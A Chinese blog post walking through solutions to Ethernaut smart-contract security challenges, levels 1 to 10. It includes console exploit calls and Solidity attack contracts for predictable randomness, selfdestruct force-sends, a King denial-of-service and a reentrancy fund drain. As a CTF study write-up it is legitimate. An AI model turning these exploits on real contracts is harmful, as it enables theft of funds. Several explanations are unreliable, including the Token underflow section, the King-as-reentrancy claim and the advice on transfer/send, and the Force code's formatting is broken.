ethernaut个人题解

liumuhui 8个月前 (01-28) 阅读数 127 #区块链

文章标签入门/科普

Ethernaut 是 OpenZeppelin 开发的一个 Web3/Solidity 的游戏，通过闯关的方式来学习智能合约安全。每一关都是一个需要被攻破的智能合约，通过发现和利用合约中的漏洞来通过挑战。本文记录了的日解题过程。仅供参考，欢迎交流。

个人感觉的难度：

[Easy] - 基础概念和简单漏洞
[Medium] - 需要理解合约机制和常见攻击方式
[Hard] - 复杂的漏洞利用和高级概念

12.01.2025

01. Fallback [Easy]

这关主要考察 fallback 函数的知识点：

receive() 函数在合约接收 ETH 时被调用
fallback() 函数在调用不存在的函数时被调用
通过发送少量 ETH 并调用 contribute() 函数来满足条件
最后通过 receive() 函数获取合约所有权

攻击步骤：

调用 contribute() 并发送少量 ETH (<0.001)

await contract.contribute({value: web3.utils.toWei('0.0001')});

直接向合约发送 ETH 触发 receive()

await contract.sendTransaction({value: web3.utils.toWei('0.0001')});

调用 withdraw() 提取所有 ETH
```
await contract.withdraw();
```

02. Fallout [Easy]

这关主要考察早期 Solidity 版本的构造函数问题：

老版本使用与合约同名的函数作为构造函数
如果函数名称与合约名不完全一致,就变成了普通函数
攻击者可以直接调用该函数获取所有权

攻击步骤：

直接调用 Fal1out() 函数获得合约所有权
```
await contract.Fal1out();
```
调用 collectAllocations() 提取资金
```
await contract.collectAllocations();
```

学习要点：

构造函数的安全性
代码审计的重要性
新版本使用 constructor 关键字更安全

03. Coin Flip [Medium]

这关主要考察区块链的随机数问题：

链上随机数可以被预测
block.number 等区块信息是公开的
攻击者可以在同一区块复制计算逻辑

攻击步骤：

部署攻击合约复制游戏合约的计算逻辑
手动调用 attackCoin() 十次（每次等待新区块）
确认胜利次数达到10次

注意：不能使用循环连续调用 attackCoin() 十次，因为每次猜测都需要在不同区块中进行。如果在同一个区块中多次调用，会使用相同的 blockhash，导致预测结果相同。

攻击合约代码：

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract attack {
    ICoinFlip public targetContract;
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _targetAddress) {
        targetContract = ICoinFlip(_targetAddress);
    }

    function attackCoin() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        targetContract.flip(side);
    }
}

学习要点：

链上随机数的局限性
不应使用区块信息作为随机源
可以使用 Chainlink VRF 等预言机获取真随机数
理解区块链的时序性，每个区块的信息都是唯一的

04. Telephone [Easy]

这关主要考察对tx.origin的理解：

tx.origin 是交易的发送者
攻击者可以利用 tx.origin 来欺骗合约，使其认为攻击者是合约的拥有者

攻击步骤：

写一个攻击合约
调用 changeOwner() 函数，将合约的 owner 设置为攻击者

学习要点：

理解 tx.origin 的局限性
使用 msg.sender 更安全

05. Token [Easy]

这关主要考察对solidity的漏洞的理解：

在 Solidity 0.6.x 及更早版本中，transfer() 和 send() 函数存在漏洞
在 Solidity 0.6.x 中，如果 balances[msg.sender] 小于 _value，balances[msg.sender] -= _value; 会发生整数下溢（uint 从 0 减去 1 会变成 2^256 - 1）。这会导致攻击者的余额变得非常大。
这些函数在处理错误时不会回滚交易，而是返回 false
攻击者可以利用这些漏洞进行重入攻击

攻击步骤：

先查看自己的msg.sender的余额

调用 transfer() 函数

await contract.transfer("0x0000000000000000000000000000000000000000", 21);

查看自己的余额，发现余额增加了

学习要点：

理解 Solidity 0.6.x 的整数下溢漏洞
使用更安全的函数和库(SafeMath或者自行添加溢出检查)

06. Delegation [Easy]

这关主要考察对delegatecall的理解：

delegatecall 是低级调用，可以调用另一个合约的代码，delegatecall 是一种底层函数调用，它允许合约 A 执行合约 B 的代码，但使用 A 的存储上下文。换句话说，合约 B 的逻辑会影响合约 A 的状态。
攻击者可以利用 delegatecall 来调用合约的代码，从而获取合约的所有权

攻击步骤：

await contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)}); web3.utils.sha3("pwn()") 会生成函数签名的哈希值 .slice(0,10) 取哈希值的前 4 字节（这是函数选择器）

学习要点：

在使用 delegatecall 时，必须确保被调用合约的逻辑与当前合约的存储布局一致，否则可能导致存储被意外覆盖。
实际开发中避免漏洞
避免在 fallback 函数中使用 delegatecall，除非有严格的访问控制。
使用现代的合约框架（如 OpenZeppelin 的 Proxy 合约）来实现代理逻辑。

07. Force [Medium]

这关主要考察对selfdestruct的理解：

selfdestruct 是 Solidity 中的一个低级函数，用于销毁合约并将其所有余额发送给指定的目标地址。
攻击者可以利用 selfdestruct 来强制将合约的余额发送给目标地址

攻击步骤：

部署一个新合约并向该合约发送以太币。


// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceAttack { constructor() public payable { // 构造函数可接收以太币 }

function attack(address payable _target) public {
    selfdestruct(_target);
}

}


2. 调用 `attack()` 函数，将合约的余额发送给目标地址
```js
// 调用攻击函数，强制发送以太币
await attackContract.attack(contract.address);
// 验证 Force 合约的余额
const balance = await web3.eth.getBalance(contract.address);
console.log("Force Contract Balance:", balance);

学习要点：

理解 selfdestruct 的机制
确保你的合约逻辑不依赖于余额为零的假设。
避免在代码中直接检查合约余额。

08. Vault [Easy]

这关主要考察对区块链的存储的理解：

区块链的存储是公开的，任何人都可以查看，哪怕存储是private的数据也可以查看
攻击者可以利用区块链的存储来获取合约的密码
Solidity 中的所有状态变量都存储在合约的存储槽（Storage Slots）中。
公共变量（如 locked）可以直接通过合约接口读取。
私有变量（如 password）虽然标记为 private，但实际上只是在 Solidity 中不可直接通过合约代码访问。它们仍然可以通过低级的存储读取方法（如 web3.eth.getStorageAt）获取。

攻击步骤：

使用 web3.eth.getStorageAt 读取存储槽 1 的内容（password 存储在存储槽 1）。
```
await web3.eth.getStorageAt(contract.address, 1).toString();
```
将读取到的密码作为参数调用 unlock() 函数。
```
await contract.unlock(password);
```

学习要点：

理解 Solidity 中的存储布局
使用低级函数（如 web3.eth.getStorageAt）来访问私有变量
不要将敏感数据直接存储在链上，即使使用 private 关键字。
如果需要存储敏感数据，建议使用加密方式存储，并仅在必要时解密。

09. King [Easy]

这关主要考察对重入攻击特殊变体的理解了：

重入攻击是指攻击者利用合约的漏洞，在合约执行过程中多次调用某个函数，从而获取更多的利益。
攻击者可以利用重入攻击来获取合约的控制权

攻击步骤：

如果当前国王是一个智能合约，而该合约的 receive 函数无法接收 ETH（或者故意导致交易失败），新的国王就无法成功调用 receive，从而阻止任何其他玩家成为新的国王。
部署一个攻击合约，并通过攻击合约成为国王。
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
```

contract KingAttack { address public target;

constructor(address _target) public {
    target = _target;
}

function attack() public payable {
    // 调用目标合约，并成为新的国王
    (bool success, ) = target.call{value: msg.value}("");
    require(success, "Attack failed");
}

// 故意让接收 ETH 的函数失败
receive() external payable {
    revert("I refuse to give up the throne!");
}

}


3. 部署攻击合约并提供足够的 ETH（大于当前的 prize）

学习要点：
- 理解receive函数的作用：在目标合约中，receive 函数是接收 ETH 的核心逻辑。如果接收方不能正确处理 ETH 转账，会导致交易失败。
- 防御建议：避免使用低级调用（如 call）进行转账，可以使用 transfer 或 send，它们在转账失败时会自动回滚。
- 在合约设计中，避免依赖外部合约的行为来完成核心逻辑。
- 使用现代的合约框架（如 OpenZeppelin 的 ReentrancyGuard）来实现安全重入控制

## 10. Re-entrancy  [Medium]

这关主要考察对re-entrancy的理解：
- 重入攻击是指攻击者利用合约的漏洞，在合约执行过程中多次调用某个函数，从而获取更多的利益。
- 攻击者可以利用重入攻击来获取合约的控制权

攻击步骤：
1. 编写攻击合约
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Reentrance.sol";

contract ReentranceAttack {
    Reentrance public target;
    address public owner;

    constructor(address payable _target) public {
        target = Reentrance(_target);
        owner = msg.sender;
    }

    // 调用目标合约的 donate 函数
    function donate() public payable {
        target.donate{value: msg.value}(address(this));
    }

    // 发起攻击
    function attack(uint256 _amount) public {
        target.withdraw(_amount);
    }

    // 重入逻辑
    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw(msg.value);
        }
    }

    // 提取攻击合约中的以太币
    function withdraw() public {
        require(msg.sender == owner, "Not the owner");
        payable(owner).transfer(address(this).balance);
    }
}